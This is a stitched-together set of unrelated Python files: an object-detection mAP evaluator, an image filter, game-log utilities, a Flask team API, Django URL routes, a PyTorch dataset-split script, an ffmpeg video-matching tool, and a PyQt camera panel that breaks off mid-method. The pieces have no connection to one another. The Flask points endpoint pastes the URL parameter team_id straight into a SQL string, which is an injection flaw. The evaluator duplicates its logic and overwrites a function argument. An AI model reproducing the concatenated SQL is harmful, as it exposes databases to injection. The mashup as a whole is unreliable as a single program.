import json
import random
from flyai.dataset import Dataset
from model import Model,device,MODEL_PATH,TORCH_MODEL_NAME
from flyai.processor.download import check_download
from path import DATA_PATH
import numpy as np
import os
import requests
from net import get_net
import torchvision
import torch

# 根据 recall 和 precision 值来计算 ap
def voc_ap(rec, prec, use_07_metric=False):
    """ ap = voc_ap(rec, prec, [use_07_metric])
    Compute VOC AP given precision and recall.
    If use_07_metric is true, uses the
    VOC 07 11 point method (default:False).
    """
    if use_07_metric:
        # 11 point metric
        ap = 0.
        for t in np.arange(0., 1.1, 0.1):
            if np.sum(rec >= t) == 0:
                p = 0
            else:
                p = np.max(prec[rec >= t])
            ap = ap + p / 11.
    else:
        # correct AP calculation
        # first append sentinel values at the end
        mrec = np.concatenate(([0.], rec, [1.]))
        mpre = np.concatenate(([0.], prec, [0.]))

        # compute the precision envelope
        for i in range(mpre.size - 1, 0, -1):
            mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])

        # to calculate area under PR curve, look for points
        # where X axis (recall) changes value
        i = np.where(mrec[1:] != mrec[:-1])[0]

        # and sum (\Delta recall) * prec
        ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])
    return ap

def voc_eval(groundtruth, prediction, classname, ovthresh=0.5, use_07_metric=False):
    '''
    :param groundtruth: 格式为：[{'boxes':[], 'labels':[], 'image_id':[]}, ...] 是指图片的path
    :param prediction: 格式为：[[<image id> <confidence> <left> <top> <right> <bottom>], ...]  是指图片的id
    :param classname: 计算的是当前类别的 ap
    :param ovthresh: iou的阈值
    :param use_07_metric: 标准选择，是否是之前的标准
    :return:
    '''
    # print('groundtruth',groundtruth)
    imagenames = [i['image_id'][0] for i in groundtruth]
    # print('imagenames len is', len(imagenames))
    # print('imagename[0]', imagenames[0])
    # extract gt objects for this class
    class_recs = {}
    npos = 0
    for imagename in imagenames:
        for i in groundtruth:
            if i['image_id'][0] == imagename:
                bbox = []
                for j in range(len(i['labels'])):
                    if i['labels'][j] == classname:
                        bbox.append(i['boxes'][j])
                bbox = np.array(bbox)
                difficult = np.zeros((len(bbox))).astype(np.bool) # 这里默认所有目标框全部为易辨别物体，用于参与后续计算
                det = [False] * len(bbox)
                npos = npos + sum(~difficult)
                class_recs[imagename] = {'bbox': bbox,
                                         'difficult': difficult,
                                         'det': det}
                break

    # load prection
    image_ids = [x[0] for x in prediction]
    # print('image_ids', image_ids)
    confidence = np.array([float(x[1]) for x in prediction])
    BB = np.array([[float(z) for z in x[2:]] for x in prediction])

    # sort by confidence
    sorted_ind = np.argsort(-confidence)
    sorted_scores = np.sort(-confidence)
    BB = BB[sorted_ind, :]
    image_ids = [image_ids[x] for x in sorted_ind]
    # print('image_ids',image_ids)
    # go down dets and mark TPs and FPs
    nd = len(image_ids)
    tp = np.zeros(nd)
    fp = np.zeros(nd)
    for d in range(nd):
        # print('image_ids[d]',image_ids[d])
        R = class_recs[image_ids[d]]
        bb = BB[d, :].astype(float)
        ovmax = -np.inf
        BBGT = R['bbox'].astype(float)

        if BBGT.size > 0:
            # compute overlaps
            # intersection
            ixmin = np.maximum(BBGT[:, 0], bb[0])
            iymin = np.maximum(BBGT[:, 1], bb[1])
            ixmax = np.minimum(BBGT[:, 2], bb[2])
            iymax = np.minimum(BBGT[:, 3], bb[3])
            iw = np.maximum(ixmax - ixmin + 1., 0.)
            ih = np.maximum(iymax - iymin + 1., 0.)
            inters = iw * ih

            # union
            uni = ((bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) +
                   (BBGT[:, 2] - BBGT[:, 0] + 1.) *
                   (BBGT[:, 3] - BBGT[:, 1] + 1.) - inters)

            overlaps = inters / uni
            ovmax = np.max(overlaps)
            jmax = np.argmax(overlaps)

        if ovmax > ovthresh:
            if not R['difficult'][jmax]:
                if not R['det'][jmax]:
                    tp[d] = 1.
                    R['det'][jmax] = 1
                else:
                    fp[d] = 1.
        else:
            fp[d] = 1.

    # compute precision recall
    fp = np.cumsum(fp)
    tp = np.cumsum(tp)
    rec = tp / float(npos)
    # avoid divide by zero in case the first detection matches a difficult
    # ground truth
    prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps)
    ap = voc_ap(rec, prec, use_07_metric)

    return rec, prec, ap

def get_json(url, is_log=False):
    try:
        response = requests.get(url=url)
        if is_log:
            print("server code ", response, url)
        return response.json()
    except:
        return None

# '''
# 不需要修改
# '''
# if "https" in sys.argv[1]:
#     data_id = sys.argv[1].split('/')[4]
# else:
#     data_id = sys.argv[1]
# data_path = get_json("https://www.flyai.com/get_evaluate_command?data_id=" + data_id)
# check_download(data_path['command'], DATA_PATH, is_print=False)

# def eval_one_batch(x_test,y_test, model ):
def eval_one_batch(preds):
    dataset = Dataset()
    model = Model(dataset)
    try:
        x_test, y_test = dataset.evaluate_data_no_processor("test.csv")
        print('eval.py use test.csv')
    except:
        x_test, y_test = dataset.evaluate_data_no_processor("dev.csv")
        print('eval.py use dev.csv')
    randnum = random.randint(0, 100)
    random.seed(randnum)
    random.shuffle(x_test)
    random.seed(randnum)
    random.shuffle(y_test)

    # 通过模型得到预测的结果，格式为：[[<image id> <confidence> <left> <top> <right> <bottom>], ...]
    preds = model.predict_all(x_test)

    # 加载标签 [{'boxes':[], 'labels':[], 'image_id':[]}, ...]
    targets = []
    for i in range(len(y_test)):
        label_path = y_test[i]['label_path'] # label/019646.jpg.txt
        boxes = []
        labels = []
        image_id = []
        image_id.append(x_test[i]['image_path'])
        with open(os.path.join(DATA_PATH, label_path)) as f:
            for line in f.readlines():
                # 1954.7443195924375,695.1497671989313,1984.659514688955,738.4779589540301,1933
                temp = line.strip().split(',')
                xmin = int(float(temp[0]))
                ymin = int(float(temp[1]))
                xmax = int(float(temp[2]))
                ymax = int(float(temp[3]))
                boxes.append([xmin, ymin, xmax, ymax])
                labels.append(int(temp[4]))
        target = {}
        target["boxes"] = boxes
        target["labels"] = labels
        target["image_id"] = image_id
        targets.append(target)

    '''
    if不需要修改
    '''
    if len(y_test) != len(x_test):
        result = dict()
        result['score'] = 0
        result['label'] = "评估违规"
        result['info'] = ""
        print(json.dumps(result))
    else:
        '''
        在下面实现不同的评估算法
        '''
        # 开始计算最后得分
        sum_ap = 0
        all_labels = [i for i in range(2)] # 所有目标类别

        # 以下是我自己加的

        for label in all_labels: # 逐个类别计算ap
            prediction1 = []    # 在计算 ap 的时候，需要把prediction按照最后预测的类别进行筛选
            for pred in preds:
                if pred[3] == label:
                    prediction1.append([pred[0], pred[1], pred[2][0], pred[2][1], pred[2][2], pred[2][3]])
            if len(prediction1) != 0: # 当包含预测框的时候，进行计算ap值
                rec, prec, ap = voc_eval(targets, prediction1, label)
            else:
                ap = 0
            sum_ap += ap
        map = sum_ap / len(all_labels)

        result = dict()
        result['score'] = round(map * 100, 2)
        result['label'] = "The Score is MAP."
        result['info'] = ""
        print(json.dumps(result))
        return map

if __name__=="__main__":

    dataset = Dataset()
    model = Model(dataset)
    try:
        x_test, y_test = dataset.evaluate_data_no_processor("test.csv")
        print('eval.py use test.csv')
    except:
        x_test, y_test = dataset.evaluate_data_no_processor("dev.csv")
        print('eval.py use dev.csv')
    randnum = random.randint(0, 100)
    random.seed(randnum)
    random.shuffle(x_test)
    random.seed(randnum)
    random.shuffle(y_test)

    # 通过模型得到预测的结果，格式为：[[<image id> <confidence> <left> <top> <right> <bottom>], ...]
    preds = model.predict_all(x_test)

    # 加载标签 [{'boxes':[], 'labels':[], 'image_id':[]}, ...]
    targets = []
    for i in range(len(y_test)):
        label_path = y_test[i]['label_path'] # label/019646.jpg.txt
        boxes = []
        labels = []
        image_id = []
        image_id.append(x_test[i]['image_path'])
        with open(os.path.join(DATA_PATH, label_path)) as f:
            for line in f.readlines():
                # 1954.7443195924375,695.1497671989313,1984.659514688955,738.4779589540301,1933
                temp = line.strip().split(',')
                xmin = int(float(temp[0]))
                ymin = int(float(temp[1]))
                xmax = int(float(temp[2]))
                ymax = int(float(temp[3]))
                boxes.append([xmin, ymin, xmax, ymax])
                labels.append(int(temp[4]))
        target = {}
        target["boxes"] = boxes
        target["labels"] = labels
        target["image_id"] = image_id
        targets.append(target)

    '''
    if不需要修改
    '''
    if len(y_test) != len(x_test):
        result = dict()
        result['score'] = 0
        result['label'] = "评估违规"
        result['info'] = ""
        print(json.dumps(result))
    else:
        '''
        在下面实现不同的评估算法
        '''
        # 开始计算最后得分
        sum_ap = 0
        all_labels = [i for i in range(2)] # 所有目标类别

        # 以下是我自己加的

        for label in all_labels: # 逐个类别计算ap
            prediction1 = []    # 在计算 ap 的时候，需要把prediction按照最后预测的类别进行筛选
            for pred in preds:
                if pred[3] == label:
                    prediction1.append([pred[0], pred[1], pred[2][0], pred[2][1], pred[2][2], pred[2][3]])
            if len(prediction1) != 0: # 当包含预测框的时候，进行计算ap值
                rec, prec, ap = voc_eval(targets, prediction1, label)
            else:
                ap = 0
            sum_ap += ap
        map = sum_ap / len(all_labels)

        result = dict()
        result['score'] = round(map * 100, 2)
        result['label'] = "The Score is MAP."
        result['info'] = ""
        print(json.dumps(result))


import cv2
import os
import numpy as np
import imutils

def read_file(filename):
  img = cv2.imread(filename)
  return img

def processFile3(filen, rename, rename_res):
  img = read_file(filen)
  if img is not None:
   if (img.shape[0]>200):
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
    gray = cv2.GaussianBlur(gray, (3,3), 1)

    edge = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 43, 16)
    cartoon = cv2.bitwise_and(img, img, mask=edge)

    res = imutils.resize(cartoon, width=400)
    cv2.imwrite(rename, cartoon)
    cv2.imwrite(rename_res, res)

for url in os.listdir('c:/fashion'):
#url='cn7629899.jpg'
  print (url)
  if (url!='out' and '.zip' not in url):
    processFile3('c:/fashion/'+url,'c:/fashion/out/'+url,'c:/fashion/out_res/'+url)
  #break


"""Utility functions for the model."""

import re
import logging
import datetime
from typing import Optional

import orm
import constants as const

def logline_to_dict(logline: str) -> dict:
    """Convert a logline into a sanitized dict"""
    data = {}
    pairs = re.split('(?<!:):(?!:)', logline.strip().strip('\0'))
    for p in pairs:
        p = p.replace('::',':')
        keyval = p.split('=')
        try:
            data[keyval[0]] = keyval[1]
        except IndexError as e:
            logging.error('error "{}" in keyval "{}", logline "{}"'.format(e,keyval,logline))
    data["v"] = re.match(r"(0.\d+)", data["v"]).group()
    if "god" not in data:
        data["god"] = "GOD_NO_GOD"

    if "status" not in data:
        data["status"] = ""

    data["god"] = const.GOD_NAME_FIXUPS.get(data["god"],data["god"])
    if "end" in data:
        data["time"] = data["end"]
        data["ktyp"] = const.KTYP_FIXUPS.get(data["ktyp"], data["ktyp"])
        data["type"] = "death.final"
        data["milestone"] = data["tmsg"]

    data["runes"] = data.get("urune", 0)
    # D:0 is D:$ in logfile so we came from D:1 in that case
    data["oplace"] = data.get("oplace",
            data["place"].translate(str.maketrans("$", "1")))

    return data

def crawl_date_to_datetime(d: str) -> datetime.datetime:
    """Converts a crawl date string to a datetime object.

    Note: crawl dates use a 0-indexed month... I think you can blame struct_tm
    for this.
    """
    # Increment the month by one
    d = d[:4] + "%02d" % (int(d[4:6]) + 1) + d[6:]
    return datetime.datetime(
        year=int(d[:4]),
        month=int(d[4:6]),
        day=int(d[6:8]),
        hour=int(d[8:10]),
        minute=int(d[10:12]),
        second=int(d[12:14]),
    )

def _morgue_prefix(src: str, version: str) -> Optional[str]:
    src = src.lower()
    if src == "cao":
        prefix = "http://crawl.akrasiac.org/rawdata"
    elif src == "cdo":
        prefix = "http://crawl.develz.org/morgues"
        prefix += "/" + version_url(version)
    elif src == "cue" or src == "clan":
        prefix = "http://underhound.eu/crawl/morgue"
    elif src == "cbro":
        prefix = "http://crawl.berotato.org/crawl/morgue"
    elif src == "cxc":
        prefix = "http://crawl.xtahua.com/crawl/morgue"
    elif src == "lld":
        prefix = "http://lazy-life.ddo.jp:8080/morgue"
        prefix += "-" + version_url(version)
    elif src == "cpo":
        prefix = "https://crawl.project357.org/morgue"
    elif src == "cko":
        prefix = "http://crawl.kelbi.org/crawl/morgue"
    elif src == "cwz":
        prefix = "https://webzook.net/soup/morgue/"
        prefix += "/" + version_url(version)
    elif src in ("ckr", "csn", "rhf", "cjr", "cszo"):
        return None
    else:
        raise ValueError("No prefix for %s" % src)
    return prefix

def morgue_url(game: orm.Game) -> Optional[str]:
    """Generates a morgue URL from a game."""
    src = game.account.server.name
    prefix = _morgue_prefix(src, game.version.v)
    if not prefix or game.alive:
        return None

    name = game.account.name
    timestamp = game.end.strftime("%Y%m%d-%H%M%S")
    return "%s/%s/morgue-%s-%s.txt" % (prefix, name, name, timestamp)

def version_url(version: str) -> str:
    """Cleans up version strings for use in morgue URLs."""
    if version[-2:] == "a0":
        return "trunk"
    if len(version) > 4:
        for i in range(len(version)):
            if version[-(i + 1)] == ".":
                return version[: -(i + 1)]
    return version


import flask_praetorian
import sqlalchemy
from flask import request, jsonify
from flask_restx import abort, Resource, Namespace
from model import Team, db, TeamSchema

# namespace declaration
api_team = Namespace("Teams", "Teams management")

@api_team.route("/<team_id>")
class TeamController(Resource):
    @flask_praetorian.auth_required
    def get(self, team_id):
        team = Team.query.get_or_404(team_id)
        return TeamSchema().dump(team)

    @flask_praetorian.roles_accepted("admin", "editor")
    def delete(self, team_id):
        team = Team.query.get_or_404(team_id)
        db.session.delete(team)
        db.session.commit()
        return f"Deleted team {team_id}", 204

    @flask_praetorian.roles_accepted("admin", "editor")
    def put(self, team_id):
        new_team = TeamSchema().load(request.json)
        if str(new_team.id) != team_id:
            abort(400, "id mismatch")
        db.session.commit()
        return TeamSchema().dump(new_team)

@api_team.route("/")
class TeamListController(Resource):
    @flask_praetorian.auth_required
    def get(self):
        return TeamSchema(many=True).dump(Team.query.all())

    @flask_praetorian.roles_accepted("admin", "editor")
    def post(self):
        team = TeamSchema().load(request.json)
        db.session.add(team)
        db.session.commit()
        return TeamSchema().dump(team), 201

@api_team.route("/points/<team_id>")
class PlayerController(Resource):
    @flask_praetorian.auth_required
    def get(self, team_id):
        query = sqlalchemy.text('SELECT T.name, SUM(P.points) AS points FROM teams_players TP INNER JOIN player P ON TP.player_id = P.id INNER JOIN team T ON TP.team_id = T.id WHERE TP.team_id = ' + team_id + ' GROUP BY TP.team_id')
        data = db.session.execute(query)
        return jsonify({d['name'] : d['points'] for d in data})

@api_team.route("/points/")
class TeamListController(Resource):
    @flask_praetorian.auth_required
    def get(self):
        query = sqlalchemy.text('SELECT T.name, SUM(P.points) AS points FROM teams_players TP INNER JOIN player p ON TP.player_id = P.id INNER JOIN team T ON TP.team_id = T.id GROUP BY TP.team_id ORDER BY points desc')
        data = db.session.execute(query)
        return jsonify({d['name']: d['points'] for d in data})


from django.urls import path
from . import views

urlpatterns = [
    path('',views.pollshome,name='pollshome'),
    path('createpolls/',views.createPolls,name='createpolls'),
    path('createpublicpoll/',views.createPublicPoll,name='createpublicpoll'),
    path('createprivatepoll/',views.createPrivatePoll,name='createprivatepoll'),
    path('privateinvite/<int:poll_id>',views.privateinvite,name='privateinvite'),
    path('publicpolls/',views.publicPolls,name='publicpolls'),
    path("polldetails/<int:poll_id>", views.publicpolldetails, name="polldetails"),
    path("polldetails/<int:poll_id>/editpublicpoll", views.editpublicpoll, name="editpublicpoll"),
    path("polldetails/<int:poll_id>/deletepublicpoll", views.deletepublicpoll, name="deletepublicpoll"),
    path("privatepolldetails/<int:poll_id>/deleteprivatepoll", views.deleteprivatepoll, name="deleteprivatepoll"),
    path('privatepolls/',views.privatePolls,name='privatepolls'),
    path("privatepolldetails/<int:poll_id>", views.privatepolldetails, name="privatepolldetails"),
    path("privatepolldetails/<int:poll_id>/editprivatepoll", views.editprivatepoll, name="editprivatepoll"),
    path('polldetails/<int:poll_id>/vote/', views.public_vote, name='publicvote'),
    path('polldetails/<int:poll_id>/results/', views.public_results, name='publicresults'),
    path('privatepolldetails/<int:poll_id>/vote/', views.private_vote, name='privatevote'),
    path('privatepolldetails/<int:poll_id>/userinvite/', views.private_userinvite, name='privateuserinvite'),
    path('invitations/', views.privateinvitations, name='privateinvitations'),
    path('invitations/acceptedinvites', views.acceptedinvites, name='acceptedinvites'),
    path('invitations/<int:poll_id>/invitechoice', views.invitechoice, name='invitechoice'),
    path('privatepolldetails/<int:poll_id>/results/', views.private_results, name='privateresults'),
    path('votinghistory/', views.votingHistory, name='votinghistory'),
    path('api/publicresultdata/<int:poll_id>', views.publicResultData, name='publicresultdata'),
    path('api/privateresultdata/<int:poll_id>', views.privateResultData, name='privateresultdata'),
]


import os
import torch
from level5_regression.Training import Training
from level5_regression.SimulationImagesDataset import SimulationImagesDataset

root_dir_dataset = "development_data/20191022_level5_raw_data_new_generation"  # use the best_policy subset

# specify the state space components to predict one
prediction_target = ["angles", "obj_pos", "tip_pos", "target_pos"]  # use None or "ALL" for the full 22-dimensional target

# if True, then use a concatenated Two-Sequence as Input
sequence_samples = False

# the Training / Validation / Test Set split ratio
# if this is 0.8 then 80% of the data is for Test and rest for Evaluation
ratio = 0.8

# after every <number> epoch, save the model
checkpoint_frequency = 2

# number of epochs to train the model for
num_training_iterations = 200

# to control reproducibility
master_seed = 4444

# path to the PyTorch model of a previous training
# if specified then that model resumes its training
path_checkpoint_file = None

# number of samples per update during training
batch_size = 4

# number of Filters for the first convolutional layer
num_filters = 4

# nonlinearity between layers
activation = "relu"

# set to 0 by default, could possibly have impact on speed
num_workers = 0

# either "xz", "yz", "+yz" or "+yz+xy"
# specifies whether to use the information of a single
# or multiple camera views and which ones
multi_view = "yz"

# if specified, then this is the percantage of a dataset
# that will be used for the actual training
subset_ratio_per_dataset = 1  # if None or 1 then the full dataset is being used

# if True, then use a 3-layer Fully Connected regressor
# at the end of the overall CNN architecture
third_fc_layer = True

simulation_images_dataset = SimulationImagesDataset(root_dir_dataset,
                                                    sequence_samples=sequence_samples,
                                                    prediction_target=prediction_target,
                                                    multi_view=multi_view)

# Compute the Training/Validation/Test Split for the complete Dataset
complete_dataset_length = len(simulation_images_dataset)

training_set_length = int(complete_dataset_length * ratio)

validation_set_length = int(((complete_dataset_length - training_set_length) / 2)) # int(np.round(complete_dataset_length * np.round(((1 - ratio) / 2),1), 1))

test_set_length = validation_set_length
if validation_set_length != ((complete_dataset_length - training_set_length) / 2):
    training_set_length += 1

def get_split(dataset_length, ratio):
    """
    Calculate the split for a dataset given the ratio

    :param dataset_length: (int) length of the dataset
    :param ratio: (int) between 0-1
    :return: (int, int) a split according to ratio, a+b == dataset_length
    """

    a, b = int(round(ratio * dataset_length)), int(round((1 - ratio) * dataset_length))
    assert(a + b == dataset_length)

    return a, b

if subset_ratio_per_dataset:

    training_set_length, training_set_holdout = get_split(training_set_length, subset_ratio_per_dataset)
    validation_set_length, validation_set_holdout = get_split(validation_set_length, subset_ratio_per_dataset)
    test_set_length, test_set_holdout = get_split(test_set_length, subset_ratio_per_dataset)

    training_set, validation_set, test_set, _, _, _ = torch.utils.data.random_split(simulation_images_dataset,
                                                                           [training_set_length,
                                                                            validation_set_length,
                                                                            test_set_length,
                                                                            training_set_holdout,
                                                                            validation_set_holdout,
                                                                            test_set_holdout])

    print("Using only " + str(subset_ratio_per_dataset * 100) + " % of Data Points per Dataset.")

else:

    training_set, validation_set, test_set = torch.utils.data.random_split(simulation_images_dataset,
                                                                           [training_set_length, validation_set_length,
                                                                            test_set_length])

assert(training_set_length == len(training_set)
       and validation_set_length == len(validation_set)
       and test_set_length == len(test_set))

print("Training Set Length: {}"
      "\nValidation Set Length: {}"
      "\nTest Set Length: {}"
      "\nTotal number of Datapoints used for this Training: {}"
      "\nTOTAL NUMBER OF DATAPOINTS IN COMPLETE DATASET: {}"
      .format(str(training_set_length),
              str(validation_set_length),
              str(test_set_length),
              str(training_set_length+validation_set_length+test_set_length),
              str(complete_dataset_length)))

def get_loader(dataset, batch_size=4, num_workers=2):
    """
    Provide the PyTorch loader, which can directly be used for Training.

    :param dataset: (PyTorch.Dataset) dataset instance
    :param batch_size: (int) number of samples to load each iteration during training
    :param num_workers: (int)
    :return: (object) PyTorch Dataset Loader
    """

    return torch.utils.data.DataLoader(dataset,
                                       batch_size=batch_size,
                                       shuffle=True,
                                       num_workers=num_workers) # TODO: inspect whether this variable can better something

# Get Dataset Loaders
loader_training_set = get_loader(training_set, batch_size=batch_size, num_workers=num_workers)

loader_validation_set = get_loader(validation_set, batch_size=batch_size, num_workers=num_workers)

loader_test_set = get_loader(test_set, batch_size=batch_size, num_workers=num_workers)


# Usage:
# Get the data from https://ndvr-videos.s3.us-east-2.amazonaws.com/index-videos/videos.zip (see get_data.sh script)
# Extract it in the samples_directory

import subprocess
import shlex
import os
import argparse
import pandas as pd
import re
import time

def process_pair(directory, filename_1, filename_2, th_xh):
    pair = filename_1 + ' / ' + filename_2

    f1 = os.path.join(directory, filename_1)
    f2 = os.path.join(directory, filename_2)

    import time
    start_time = time.time()

    ffmpeg_params = shlex.split(f'ffmpeg -i {f1} -i {f2} -filter_complex "[0:v][1:v] signature=nb_inputs=2:detectmode=full:th_xh={th_xh}:format=binary:filename={filename_1}%d.bin" -map :v -f null -')

    ffmpeg = subprocess.Popen(ffmpeg_params,
                            stdin =subprocess.PIPE,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE,
                            universal_newlines=True,
                            bufsize=0)

    _, stderr = ffmpeg.communicate()
    execution_time = time.time() - start_time  # It returns time in seconds

    for line in stderr.split('\n'):
        if 'no matching' in line.strip():
            print(pair + ': no match')
            return ['-', '-', 0, execution_time]
        elif 'frames matching' in line.strip():
            matching_data = re.findall(r"[-+]?(?:\d*\.\d+|\d+)", line.strip().split('matching of video 0 at')[1])

            first_match = float(matching_data[0])
            second_match = float(matching_data[2])
            frames_match = int(matching_data[3])

            print(pair + ':', first_match, ',', second_match, ',', frames_match)
            return [first_match, second_match, frames_match, execution_time]

    return ['Process error', 'Process error', 'Process error', execution_time]

def parse_samples(directory, th_xh=116):
    # iterate over files in
    # that directory
    for filename_1 in os.listdir(directory):
        # checking if it is a file
        if os.path.isfile(filename_1):
            for filename_2 in os.listdir(directory):
                if os.path.isfile(filename_2) and filename_2 != filename_1:
                    process_pair(directory, filename_1, filename_2, th_xh)

def process_annotations(samples_directory, annotations_df, max_pairs, th_xh):

    matches_df = pd.DataFrame(columns=['VideoA', 'VideoB', 'Start-A', 'Start-B', 'Frames', 'Time'])
    for filename_1 in annotations_df[0].unique():
        for filename_2 in annotations_df[1][annotations_df[0]==filename_1].unique():
            process_data = process_pair(samples_directory, filename_1, filename_2, th_xh)

            if  'Process error' in process_data:
                print('FFmpeg process error, flipping input videos to see if it fixes:')
                process_data = process_pair(samples_directory, filename_2, filename_1, th_xh)

            matches_df.loc[len(matches_df.index)] = [filename_1, filename_2] + process_data
            print(matches_df)
            if (max_pairs > 0 and len(matches_df.index) >= max_pairs):
                print('Maximum number of pairs compared, exiting now')
                return matches_df
    return matches_df

def parse_annotations(samples_directory, annotations_directory, max_pairs=0, th_xh=116):

    for filename in os.listdir(annotations_directory):
        annotations_file = os.path.join(annotations_directory, filename)

        # checking if it is a file
        if os.path.isfile(annotations_file):
            print('Annotations found in: ', annotations_file)
            annotations_df = pd.read_csv(annotations_file, header=None)

            matches_df = process_annotations(samples_directory, annotations_df, max_pairs, th_xh)
            print('Dataframe:', matches_df, filename)
            print('Saving dataframe to ', filename)
            matches_df.to_csv(filename.replace('txt','csv'))

parser = argparse.ArgumentParser()
parser.add_argument('samples')
parser.add_argument('--annotations')
parser.add_argument('--max_pairs')
parser.add_argument('--th_xh')

args = parser.parse_args()

samples_directory = args.samples

if args.annotations:
    annotations_directory = args.annotations
    parse_annotations(samples_directory, annotations_directory, int(args.max_pairs), int(args.th_xh))

else:
    parse_samples(samples_directory, int(args.th_xh))


from users import views
from django.urls import path
from rest_framework.urlpatterns import format_suffix_patterns

urlpatterns = [
    path('admins/', views.AdminList.as_view(), name='admin-list'),
    path('admins/<int:pk>/', views.AdminDetail.as_view(), name='admin-detail'),

    path('superusers/', views.SuperuserList.as_view(), name='superuser-list'),
    path('superusers/<int:pk>/', views.SuperuserDetail.as_view(), name='superuser-detail'),

    path('users/', views.UserList.as_view(), name='user-list'),
    path('users/<int:pk>/', views.UserDetail.as_view(), name='user-detail'),
]

urlpatterns = format_suffix_patterns(urlpatterns)


from PyQt5.QtWidgets import QGridLayout, QHBoxLayout, QVBoxLayout, QPushButton, QFrame, QLineEdit, QSpinBox, QFormLayout, QLabel, QSizePolicy, QComboBox, QCheckBox, QSpacerItem
from PyQt5.QtCore import QObject, Qt, pyqtSignal, pyqtSlot, QSize
from PyQt5.QtGui import QIcon

class DIGITAL_CAMERAS(QObject):
    """
    PURPOSE

    Contains the functions to control the digital camera feeds.
    """
    # SIGNALS TO CALL FUNCTIONS IN MAIN PROGRAM
    cameraEnableSignal = pyqtSignal(bool, int)
    cameraResolutionSignal = pyqtSignal(int, int, int)
    cameraEditSignal = pyqtSignal()
    cameraChangeAddress = pyqtSignal(int, str)

    # DATABASE
    feedQuantity = 4
    quantity = 0
    labelList = []
    addressList = []
    defaultCameras = [0, 0, 0, 0]
    defaultMenus = []
    selectedCameras = [0, 0, 0, 0]
    selectedMenus = []
    resolutions = [[1920, 1080], [1600, 900], [1280, 720], [1024, 576], [640, 360], [256, 144]]
    resolutionMenus = []
    selectedResolutions = [4, 4, 4, 4]
    feedStatus = []

    def __init__(self, *, controlLayout = None, configLayout = None):
        """
        PURPOSE

        Class constructor.
        Calls setup functions.

        INPUT

        - controlLayout = layout widget located on the control panel tab to add widgets to.
        - controlLayout = layout widget located on the configuration tab to add widgets to.

        RETURNS

        NONE
        """
        QObject.__init__(self)

        # CREATE THRUSTER WIDGETS ON THE CONTROL PANEL AND CONFIGURATION TABS
        self.controlLayout = controlLayout
        self.configLayout = configLayout

        # INITIAL LAYOUT SETUP
        if configLayout != None and controlLayout != None:
            self.setupConfigLayout()
            self.setupControlLayout()

    def setup(self):
        """
        PURPOSE

        Adds specific number of digital cameras to the GUI.

        INPUT

        NONE

        RETURNS

        NONE
        """
        cameraNumber = self.quantity

        self.cameraNumber.setValue(cameraNumber)

        self.selectedCameras = self.defaultCameras.copy()

        # ADD DESIRED NUMBER OF CAMERAS
        for i in range(cameraNumber):
            self.addCamera()

        # SET DEFAULT CAMERAS
        self.updateDefaultMenus()
        self.updateSelectedMenus()

        # SET THE DEFAULT CAMERA ADDRESSES
        self.setCameraAddresses()

        # SET CAMERA FEED RESOLUTIONS
        self.updateResolutionMenus()
        for i, res in enumerate(self.selectedResolutions):
            self.changeResolution(res, i)

    def addCamera(self):
        """
        PURPOSE

        Adds a single digital camera to the program.

        INPUT

        NONE

        RETURNS

        NONE
        """
        self.addConfigCamera()

    def removeCamera(self):
        """
        PURPOSE

        Removes a single digital camera from the program.

        INPUT

        NONE

        RETURNS

        NONE
        """
        self.removeConfigCamera()

    def setCameraAddresses(self):
        """
        PURPOSE

        Sets the source address of each digital camera.

        INPUT

        NONE

        RETURNS

        NONE
        """
        for i, camera in enumerate(self.selectedCameras):
            try:
                # NONE SELECTED
                if camera == 0:
                    address = ""
                else:
                    address = self.addressList[camera - 1]

                # EMIT SIGNAL TO MAIN PROGRAM TO CHANGE CAMERA ADDRESS
                self.cameraChangeAddress.emit(i, address)
            except:
                pass

    def addressConverter(self, address):
        """
        PURPOSE

        Converts string to int for the USB cameras.

        INPUT

        - address = string of the camera feed source address.

        RETURNS

        - cameraAddress = int source address for USB camera, string source address for RTSP camera.
        """
        # USB CAMERA
        try:
            cameraAddress = int(address)
        # RTSP CAMERA
        except:
            cameraAddress = address

        return cameraAddress

    def reset(self):
        """
        PURPOSE

        Resets the digital camera configuration to default settings.

        INPUT

        NONE

        RETURNS

        NONE
        """
        for i in range(self.quantity):
            self.removeCamera()

        self.feedQuantity = 4
        self.quantity = 0
        self.labelList = []
        self.addressList = []
        self.defaultCameras = [0, 0, 0, 0]
        self.selectedCameras = [0, 0, 0, 0]
        self.resolutions = [[1920, 1080], [1600, 900], [1280, 720], [1024, 576], [640, 360], [256, 144]]
        self.selectedResolutions = [4, 4, 4, 4]

        # UPDATE WIDGETS
        self.cameraNumber.setValue(self.quantity)
        self.updateDefaultMenus()
        self.updateSelectedMenus()

    #########################
    ### CONTROL PANEL TAB ###
    #########################
    def setupControlLayout(self):
        """
        PURPOSE

        Builds a layout on the control panel tab to add widgets to.

        INPUT

        NONE

        RETURNS

        NONE
        """
        parentLayout = QFormLayout()
        parentLayout.setLabelAlignment(Qt.AlignHCenter | Qt.AlignVCenter)
        label1 = QLabel("Enable/Disable")
        label2 = QLabel("Resolution")
        label2.setAlignment(Qt.AlignCenter)
        parentLayout.addRow(label1, label2)

        # PRIMARY AND SECONDARY CAMERA ICONS FOR EACH BUTTON
        texts = ["1st", "2nd-1", "2nd-2", "2nd-3"]

        for feed, text in enumerate(texts):
            # ENABLE/DISABLE BUTTON
            button = QPushButton()
            button.setCheckable(True)
            button.setChecked(True)
            button.setText(text)
            button.setIcon(QIcon("./graphics/white_camera.png"))
            button.setIconSize(QSize(15,15))

            self.feedStatus.append(True)

            # CHANGE RESOLUTION MENU
            menu = QComboBox()
            formattedRes = [str(item[0]) + "x" + str(item[1]) for item in self.resolutions]
            menu.addItems(formattedRes)
            self.resolutionMenus.append(menu)

            # GET FRAME RESOLUTION FROM CONFIG FILE
            index = self.selectedResolutions[feed]

            menu.setCurrentIndex(index)

            # LINK WIDGETS
            button.clicked.connect(lambda state, feed = feed: self.toggleCameraFeed(state, feed))
            menu.activated.connect(lambda index, feed = feed: self.changeResolution(index, feed))

            # ADD BUTTON AND MENU TO FORM LAYOUT
            parentLayout.addRow(button, menu)

        # ADD TO GUI
